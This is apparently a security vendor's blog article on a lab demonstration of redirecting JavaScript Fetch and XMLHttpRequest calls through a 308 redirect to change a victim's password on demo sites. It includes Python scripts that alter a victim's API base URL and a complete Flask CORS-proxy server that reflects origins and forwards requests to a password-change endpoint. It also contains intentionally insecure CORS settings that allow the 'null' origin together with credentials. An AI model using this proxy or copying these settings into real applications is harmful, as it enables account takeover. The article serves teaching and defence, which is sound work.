This article is a continuation of the first part, which examined the use of HTTP redirects in attacks. The previous section highlighted security mechanisms such as Same Origin Policy (SOP), Cross-Origin Resource Sharing (CORS), and the SameSite attribute, with a focus on redirecting HTTP form requests.
In this section, the focus shifts to the redirection of requests initiated by JavaScript, specifically using Fetch and XMLHttpRequests. We will explore the potential vulnerabilities and misconfigurations that attackers can exploit in these scenarios, providing detailed examples and analyses of how such attacks can be executed and mitigated from the experience of Iterasec specialists. All examples are demonstrated using a controlled environment designed for educational purposes. We do not encourage testing these techniques on real products without proper authorization.
We will maintain our example application, featuring two interacting applications, to illustrate these concepts. Here’s a reminder of the communication setup between these applications:
The implemented changes
To enhance the security of our applications, several design and configuration adjustments have been made. Firstly, the CORS configuration on the server side of the applications has been fine-tuned. The Comments application is set up to accept communications exclusively from the Articles application. Thus, HTTP requests initiated by JavaScript in the user’s browser, with an Origin set to https://4rt1cl3s.fun, should seamlessly connect to the https://soc1al.fun resource.
Additionally, an authentication mechanism has been implemented, ensuring that only users with valid credentials can interact with the Comments application.
When a user accesses the ViewArticle page, the Articles application generates a JWT token containing the user’s data, signed by a private key. All user communications with the Comments application include this signed JWT token, which the Comments application verifies before processing the request.
Contact our experts to get advice on the best cybersecurity strategy for your company.
The mistakes in implementation / misconfigurations
Despite these improvements, some critical mistakes were made during the implementation. The first error involves setting the “credentials” parameter to “include” in the Fetch request. This setting is unnecessary when manually setting the “Authorization” header in the HTTP request via JavaScript, as it primarily deals with browser-handled authorization (e.g., cookies). This misconfiguration inadvertently made the redirection attack feasible.
Another common mistake was leaving the testing CORS configuration in the Articles application.
Redirecting the requests initiated by JavaScript
Let’s discuss the Fetch and XMLHttpRequest implementations. Although the example uses Fetch, it can be reproduced with XMLHttpRequest.
The attack scenario involves:
- Changing the Base API URL: An attacker exploits a vulnerability in the article web application by changing the base API URL for a user.
- Crafting a 308 HTTP Redirect: When the victim makes a request to the attacker’s resource, it redirects them back to the article’s application for another action.
The victim uses the Chrome browser, while the attacker utilizes the Safari web browser. To see a bigger picture the network traffic from the victim’s browser is proxied through the Burp Suite.
It sounds identical to the scenario shown in the Forms example. However, as things go you will notice several important differences. So, the attacker changes the base API url for the user with id equal to “2”. A new base API url points to the attacker controlled resource redirect-test.free.beeceptor.com. The attacker utilizes the following Python script:
import requests url = 'https://4rt1cl3s.fun/RedirectTest/Accounts/ChangeBaseApiURL' request_data = { 'Id': 2, 'NewBaseApiUrl': 'redirect-test.free.beeceptor.com' } headers = { 'Content-Type': 'application/json' } response = requests.post(url, json=request_data, headers=headers) if response.status_code == 200: print("Request was successful.") print("Response Content:", response.content) else: print(f"Request failed with status code {response.status_code}") print("Response Content:", response.content)
The victim visits the article view page which looks identical to the page shown in the Forms example. However, pay attention to the URL in the browser’s search bar and the implementation of the POST request. This is what happens when the user tries to post a comment:
The CORS mechanism worked as expected and prevented the actual POST request to the attacker-controlled resource. Let’s take a closer look what happened by analyzing the Burp logs:
Because the actual HTTP request that sends the comment is a POST request with few additional non-standard request headers (Authorization and Content-Type set to application/json) this request does not fall under the category of Simple CORS request. According to the CORS rules, the victim’s browser performs HTTP OPTIONS request at first. The attacker’s mock server even responded with HTTP 200 OK, however the follow-up HTTP POST request did not happen and the victim’s browser console showed the error:
The victim’s browser did not perform the follow-up HTTP POST request because the attacker’s mock server responded with the Access-Control-Allow-Origin: *. It means that a browser can visit this resource from any Origin. But when a browser sees the wildcard in the Access-Control-Allow-Origin header it will not send the credentials resulting in a failed CORS check. So, “credentials” parameter in the Fetch function call set to “include” helped here.
However, there is a way to bypass it which has the name of CORS proxy:
The concept behind this CORS Proxy involves accepting the preflight HTTP OPTIONS request, extracting the Origin value, and responding with an HTTP 200 OK status. This response includes the appropriate Access-Control-Allow-Origin header along with the Access-Control-Allow-Credentials header.
The attack failed using the Beeceptor as the mock server because it is a public tool, and it is configured to accept HTTP requests from any Origin. Such configuration does not combine with the Access-Control-Allow-Credentials header.
Code of the cors proxy server:
from flask import Flask, request, jsonify, make_response app = Flask(__name__) fake_comments = [{"id":100,"articleId":2,"authorId":1,"authorNickname":"h4ck31)", "authorProfileImageName":"default.png","postDateTime":"2024-01-09T21:46:25.1582034", "content":"Non existing comment"}] @app.route('/Social/CommentsJs/GetComments', methods=['OPTIONS']) def handle_get_options(): origin = request.headers.get('Origin') response = make_response("Good to go!",200) response.headers['Access-Control-Allow-Origin'] = origin response.headers['Access-Control-Allow-Headers'] = 'Content-Type, Authorization' response.headers['Access-Control-Allow-Methods'] = 'GET, POST, OPTIONS' response.headers['Access-Control-Allow-Credentials'] = 'true' return response @app.route('/Social/CommentsJs/GetComments', methods=['GET'] def handle_get(): origin = request.headers.get('Origin') response = make_response(jsonify(fake_comments), 200) response.headers['Access-Control-Allow-Origin'] = origin response.headers['Access-Control-Allow-Methods'] = 'GET, POST, OPTIONS' response.headers['Access-Control-Allow-Headers'] = 'Content-Type, Authorization' response.headers['Access-Control-Allow-Credentials'] = 'true' return response @app.route('/Social/CommentsJs/PostComment', methods=['OPTIONS']) def handle_options(): origin = request.headers.get('Origin') print(origin) response = make_response("Good to go!",200) response.headers['Access-Control-Allow-Origin'] = origin response.headers['Access-Control-Allow-Methods'] = 'GET, POST, OPTIONS' response.headers['Access-Control-Allow-Headers'] = 'Content-Type, Authorization' response.headers['Access-Control-Allow-Credentials'] = 'true' return response @app.route('/Social/CommentsJs/PostComment', methods=['POST']) def handle_post(): origin = request.headers.get('Origin') data = request.json print(data) response = make_response("Hacked!", 308) response.headers['Access-Control-Allow-Origin'] = origin response.headers['Access-Control-Allow-Methods'] = 'GET, POST, OPTIONS' response.headers['Access-Control-Allow-Headers'] = 'Content-Type, Authorization' response.headers['Access-Control-Allow-Credentials'] = 'true' response.headers['Location'] = 'https://4rt1cl3s.fun/RedirectTest/ProfileAPI/ChangePassword' return response if __name__ == '__main__': app.run(host='0.0.0.0', port=5000, debug=True)
Taking into consideration previously mentioned factors the attacker needs to readjust its strategy. The attacker’s mock server needs to have a cors proxy logic implemented.
At this point the attacker spins up the CORS proxy server on the https://cors-proxy.fun domain. Using the following Python script the attacker changes the base API url of the victim once again:
import requests url = 'https://4rt1cl3s.fun/RedirectTest/Accounts/ChangeBaseApiURL' request_data = { 'Id': 2, 'NewBaseApiUrl': 'cors-proxy.fun' } headers = { 'Content-Type': 'application/json' } response = requests.post(url, json=request_data, headers=headers) if response.status_code == 200: print("Request was successful.") print("Response Content:", response.content) else: print(f"Request failed with status code {response.status_code}") print("Response Content:", response.content)
When the victims visits the view article page now it points to the cors-proxy.fun domain. The following demonstrates what happens if the user tries to post a new comment for the article:
When the victim sends the comment its browser initiates the HTTP OPTIONS request to the cors-proxy.fun mock server:
The cors proxy server reflects the Origin value found in the OPTIONS request and sets the Access-Control-Allow-Credentials to true. This way it allows the follow-up HTTP POST request to happen.
Here is the actual HTTP Post request with the json data. Here the mock server redirects the victim’s browser back to the 4rt1cl3s.fun domain.
After being redirected, the victim’s browser attempts to perform a POST request to the https://4rt1cl3s.fun/RedirectTest/ProfileAPI/ChangePassword endpoint but encounters a significant issue. The browser initially started the procedure of posting the comment from the 4rt1cl3s.fun Origin. However, after the redirection, its Origin became null. Consequently, the request to change the password is considered a cross-origin request, prompting the victim’s browser to perform a preflight OPTIONS request.
Despite this, the previously mentioned misconfigured CORS policy on the Articles application side permits the request to proceed.
As a result, the victim successfully changes the password. The following image demonstrates authorization in the Articles application using the new password:
Fetch and XMLHttpRequest Redirection specifics and limitations
The usage of JavaScript when communicating with third party APIs is more common than usage of Forms. However, running such an attack will require more misconfigurations that are out of the attacker’s control compared to the example with Forms redirection. The scenario outlined may seem unlikely, but it is still possible.
The first thing is the “credentials” parameter. This example contains the JavaScript (Both Fetch and XMLHttpRequest) that sends the credentials along with the data (Views/ArticlesJs/ViewArticle.cshtml):
fetch("@Configuration["Protocol"]://@ViewBag.BaseUrl/Social/CommentsJs/PostComment", method: "POST", credentials:"include", headers: { "Authorization":"Bearer " + jwt_token, "Content-Type": "application/json" }, body: json_string }).then(response => { if (response.ok) { getComments(); } });
And here is the example with XMLHttpRequest (Views/ArticlesXMLHttp/ViewArticle.cshtml):
const xhr = new XMLHttpRequest(); xhr.open("POST", "@Configuration["Protocol"]://@ViewBag.BaseUrl/Social/CommentsJs/PostComment", true); xhr.withCredentials = true; xhr.setRequestHeader("Content-Type", "application/json"); xhr.setRequestHeader("Authorization", "Bearer " + jwt_token); xhr.onreadystatechange = () => { if (xhr.readyState == XMLHttpRequest.DONE && xhr.status == 200) { getComments(); } }; xhr.onerror = function (error) { alert(error); } xhr.send(json_string);
Without this parameter, the final step – when the victim attempts to perform the change password HTTP call – would fail, as the victim’s browser would not send the Cookies associated with the Articles application.
After being redirected the victim’s browser makes the following request with the null Origin, such a request becomes a cross-origin request so there should be a specific misconfiguration on the server side of the Articles application that allows processing the request with null origin and with credentials. This CORS configuration is located at the Startup.cs class:
builder.Services.AddCors(options => { options.AddPolicy("MyTestPolicy", builder => { builder.WithOrigins("null"); builder.AllowCredentials(); builder.AllowAnyHeader(); }); }); …. …. app.UseCors("MyTestPolicy")
Without this misconfiguration in the Articles application’s CORS policy, the victim would not be able to send the change password request because the Articles application would not permit it.
Additionally, the attacker needs to target an endpoint with matching transmitted fields. The success of such request redirection heavily depends on the backend technology, model binding implementation, and content-type formatters.
Chromium browser behavior
The Chromium web browser that refused to send Cookie during the Form redirection attack this time sent them correctly. The SameSite attribute set to Lax value has not prevented the victim from sending the change password request with the Cookies included.
Conclusion
In this two-part article, we have explored the standard WEB mechanisms in combination with typical misconfigurations vulnerabilities associated with HTTP redirects in web applications. The first part focused on redirects involving HTTP forms, while this second part delved into the complexities of JavaScript-initiated redirects using Fetch and XMLHttpRequests. By examining the potential misconfigurations and attack vectors, we highlighted how attackers can exploit these vulnerabilities to compromise security mechanisms such as Same Origin Policy (SOP), Cross-Origin Resource Sharing (CORS), and the SameSite attribute.
Understanding these threats is crucial for securing web applications. Developers must ensure proper configuration of CORS policies, avoid unnecessary inclusion of credentials, and be vigilant about potential endpoint vulnerabilities.
For expert assistance in securing your applications against these and other threats, contact the Iterasec team. Our cybersecurity professionals are ready to help you strengthen your defenses and protect your digital assets.